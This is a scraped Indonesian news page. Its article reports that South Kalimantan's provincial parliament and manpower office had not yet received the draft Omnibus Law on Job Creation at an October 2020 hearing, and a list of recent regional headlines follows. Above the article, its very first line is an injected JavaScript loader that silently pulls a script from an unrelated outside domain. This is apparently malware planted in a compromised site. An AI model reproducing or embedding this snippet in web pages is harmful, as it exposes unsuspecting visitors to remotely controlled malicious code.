(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Selatan

DPRD dan Pemprov Kalsel Akui Belum Terima Draft UU Omnibus Law Cipta Kerja


KANALKALIMANTAN.COM, BANJARMASIN – Polemik pengesahan UU Omnibus Law Cipta Kerja baru-baru ini, rupanya berbuntut panjang. Bahkan, pemangku kepentingan di Provinsi Kalimantan Selatan sendiri belum menerima draft resmi UU Omnibus Law.

Hal ini diakui oleh Ketua DPRD Provinsi Kalsel H Supian HK, usai rapat dengar pendapat dengan Pemprov Kalsel, perwakilan buruh, akademisi dan sejumlah organisasi di Gedung DPRD Provinsi Kalsel, Selasa (13/10/2020) sore.

“Kami ingin meminta draftnya secepat mungkin. Ini tujuannya agar tidak termakan hoaks,” kata Supian.

Apalagi diakui Supian, lantaran belum mendapatkan draft UU Omnibus Law Cipta Kerja yang disebutnya ada sebanyak 905 halaman. Sehingga, membutuhkan waktu yang tidak sedikit untuk mempelajari isi UU ini.

“Bagaimana kita mau membahas. Sedangkan kita belum menerima draftnya. Tapi rapat dengar pendapat ini sebagai forum penampungan aspirasi, karena (UU) ini ranahnya di DPR RI,” jelas Supian.

Menurut Supian, isi dari UU Omnibus Law Cipta Kerja yang bernilai positif harus dipertahankan. Tetapi, jika ada isi UU ini yang dinilai merugikan masyarakat utamanya kalangan pekerja, ia menekankan agar segera direvisi.

“Kalau bisa dikeluarkan Perpu (Omnibus Law Cipta Kerja). Supaya jangan ada salah paham di masyarakat, sehingga masih ada harapan,” imbuhnya.

Senada dengan Supian, Pemprov Kalsel melalui Kepala Dinas Ketenagakerjaan dan Transmigrasi, Siswansyah mengakui, hingga kini pihaknya belum juga menerima draft UU Omnibus Law. Sehingga ia belum bisa berkomentar banyak.

“Kami pun masih belum dapat (draftnya). Kami pun dari dinas teknis belum mendapatkan itu,” kata Siswansyah.

Dirinya berjanji, instansinya akan berupaya mendapatkan draft UU Omnibus Law Cipta Kerja ke Kementerian Ketenagakerjaan RI. “Kami berusaha mendapatkan itu,” imbuh Siswansyah.

Lantaran belum menerima isi UU Omnibus Law Cipta Kerja, membuat pemerintah daerah maupun gubernur sebagai perwakilan pemerintah pusat di provinsi, belum bisa berkomentar.

Menurut Siswansyah, masih ada petunjuk teknis lainnya yang menjadi turunan bagi UU Omnibus Law Cipta Kerja ini.

“SepertiPermen, Kepmen, sehingga bisa menjadi petunjuk kami di daerah sebagai yang membidangi UU Omnibus Law Cipta Kerja bersama serikat kerja di Kalsel,” papar Siswansyah.

Kendati UU Omnibus Law Cipta Kerja sudah resmi diundangkan, namun diakui Siswansyah, belum ada pengumuman resmi dari pemerintah pusat kapan dimulainya pelaksanaan UU ini. “Belum ada pengumuman resmi dari pemerintah pusat,” pungkasnya. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

Al Ghifari

Recent Posts

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

6 jam ago

May Day di Kuala Kapuas, Pj Bupati Erlin Hardi Jalan Santai Bersama Buruh dan Masyarakat

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More

7 jam ago

SPM Pendidikan Banjarbaru Capai Skor 84,57, BPMP Kalsel Beri Penghargaan ke Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More

7 jam ago

Manasik Haji 2024 Ditutup, Ini Pesan Bupati Banjar untuk Jemaah Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More

9 jam ago

D’Bakso Hadir Manjakan Lidah Warga Palangkaraya dengan Ragam Menu Bakso

KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More

9 jam ago

Gelar Rembuk Stunting, Pj Bupati HSU Inginkan Pencegahan Gagal Tumbuh Anak Secara Bersama

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More

10 jam ago

This website uses cookies.